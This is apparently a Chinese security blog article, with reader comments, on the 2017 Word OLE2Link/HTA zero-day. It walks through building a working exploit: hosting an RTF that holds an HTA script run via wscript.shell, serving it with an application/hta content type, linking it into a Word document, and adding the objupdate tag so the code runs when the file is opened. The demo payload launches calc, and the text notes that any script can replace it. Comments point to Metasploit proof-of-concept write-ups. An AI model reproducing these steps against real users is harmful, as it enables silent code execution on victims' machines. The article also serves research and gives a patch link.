漏洞概述
FireEye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。
漏洞利用方法
首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:
test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>
确保apache配置文件conf/mime.types里面有rtf的content type项:
application/rtf rtf
用word生成一个空白文档,然后在其中插入一个对象。
选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:
这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。
此时在apache配置文件conf/mime.types中把
application/rtf rtf
修改成:
application/hta rtf
重启apache后,清除IE缓存:
再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:
这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:
用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:
把
{\object\objautlink\rsltpict
修改成:
{\object\objautlink\objupdate\rsltpict
保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:
关键点在于objupdate,这个标签的作用是可以自动更新对象,因此无需用户交互。此时已经可以达到通过hta脚本执行任意代码的目的,至于hta脚本就是八仙过海各显神通了。
修复方案
下载微软紧急更新补丁:
https://support.microsoft.com/en-us/help/4014793/title
*本文作者:天择实习生,转载请注明来自FreeBuf.COM
0daybank
已有 27 条评论
收藏了!好文!!
我记得hta, 除了IE外,其它都会拦是吧?
这个0day对wps有用吗
@ puluter 当然不一样!
@ puluter WPS的话 必须要点击 就是最后那一步不起作用
赞
兄弟,为何要清除IE缓存??
这个怎么解决啊?
@ tttt 我也是,M D用于创建对象的程序是package。我XP,win7,win10,OFFICE07,10,13,16都TM换了个遍全是一样,LZ你坑我..
@ 阔以 我本机的office2007也这样,都没开自动更新
。。。环境版本是怎么样的。。为什么我复现不了
大部分不成功
要插入的是什么类型的对象?
过程有点错略 不详细这个可以参考http://rewtin.blogspot.nl/2017/04/cve-2017-0199-practical-exploitation-poc.html?m=1
http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
别人昨天就发出来了
@ 头号刁民 我14号就提交到freebuf,当时还是全网首发的利用方法,结果到18号才给我审核通过,我也是无语了。下次漏洞相关的不能发FB了。
@ 天择实习生 请问一下为啥 同样的word版本,不同机器上,hta能够下载,但是不会运行,怎么回事?谢谢、
@ ZIverson ie版本,
是时候发一波简历了。。。。
请问您是使用什么文本编辑器?
http://fuping.site/2017/04/18/CVE-2017-0199%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B/
CVE-2017-0199漏洞复现过程附加 Metasploit 下的利用POC
有用的回来赞我一下
http://fuping.site/2017/04/18/CVE-2017-0199%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B/
CVE-2017-0199漏洞复现过程附加 Metasploit 下的利用POC
有用的回来赞我一下
@ ops 不错!
没有对象的怎么办 ORZ
有的系统可以,有的就是不可以,确定没有打补丁,怎么解??
羡慕那些有对象的,找了几个系统都没有package………………
楼主,有office安装包吗?有漏洞的